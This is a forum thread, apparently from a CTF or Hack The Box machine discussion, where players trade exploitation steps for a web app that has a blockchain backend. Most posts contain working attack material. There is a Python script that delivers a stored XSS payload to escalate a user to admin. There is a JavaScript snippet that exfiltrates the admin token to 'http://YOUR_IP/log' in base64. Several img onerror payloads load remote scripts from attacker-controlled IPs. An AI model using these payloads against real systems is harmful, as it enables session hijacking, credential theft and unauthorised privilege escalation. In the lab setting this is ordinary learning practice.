[Unbutton8074]

I was able to update it, however indeed i am getting 401 as well

```
import requests
from time import sleep


payload = "<img src=x onerror=\"fetch('/api/update_role', {method: 'POST', headers: { 'Content-Type': 'application/json'}, body: JSON.stringify({ 'username': 'hacker', 'role': 'admin'})})\" />"


url = 'http://10.129.121.94'
headers = {
    "Content-Type": "application/json"
}


s = requests.Session()
print(f"Logging in and sending payload")
r = s.post(f'{url}/api/login', headers=headers, json={"username": "hacker", "password": "hacker"})

print("Reporting user")
r = s.post(f'{url}/api/report_user', headers=headers, json={ "username": payload })
print(r.status_code)
print(r.text)

```

but looks like /admin is unavailable even if you have admin role

[Shoseathe]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

[standby123]

For those who struggling with the foothold, check the transactions log data using `eth_getLogs` method

[xianling88]

still no clue how to do this from step 1 and why is that cause my lack of knowledge and skill at blockchain and smart contract.

[Unbutton8074]

For those who struggling with the foothold, check the transactions log data using `eth_getLogs` method

looks like mine returns only usernames in data fields - keira and my test user

{"id":1,"jsonrpc":"2.0","result":[{"address":"0x75e41404c8c1de0c2ec801f06fbf5ace8662240f","blockHash":"0x2fabc9b399133b8ba6792139df43b9072eb284763cd96a258f730f9f909ecd50","blockNumber":"0x1","blockTimestamp":"0x673a84ec","data":"0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000056b65697261000000000000000000000000000000000000000000000000000000","logIndex":"0x0","removed":false,"topics":["0xda4cf7a387add8659e1865a2e25624bbace24dd4bc02918e55f150b0e460ef98"],"transactionHash":"0x95125517a48dcf4503a067c29f176e646ae0b7d54d1e59c5a7146baf6fa93281","transactionIndex":"0x0"},{"address":"0x75e41404c8c1de0c2ec801f06fbf5ace8662240f","blockHash":"0x13cc5e86991d323ca8da449e4ac2a255777c8a005e31164e10157e64147c934b","blockNumber":"0xd","blockTimestamp":"0x673ade90","data":"0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000","logIndex":"0x0","removed":false,"topics":["0xda4cf7a387add8659e1865a2e25624bbace24dd4bc02918e55f150b0e460ef98"],"transactionHash":"0x277ccb3b50b8b66ede314aa050a399937fe6bedb0953f1dabaeeed1435e670b6","transactionIndex":"0x0"}]}

[olkn00b]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

[Shoseathe]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

[olkn00b]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

Thank You!

[xianling88]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.10/exploit.js'; document.body.appendChild(script);" />

I used this to trigger the content of yours, but didn't get admin token, where is wrong???

[olkn00b]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.10/exploit.js'; document.body.appendChild(script);" />

I used this to trigger the content of yours, but didn't get admin token, where is wrong???

try this one, and spam it.

<img src=\"1\" onerror=\"this.remove(); var s=document.createElement('script'); s.src='http://10.10.xx.xx/script.js'; document.body.appendChild(s);\">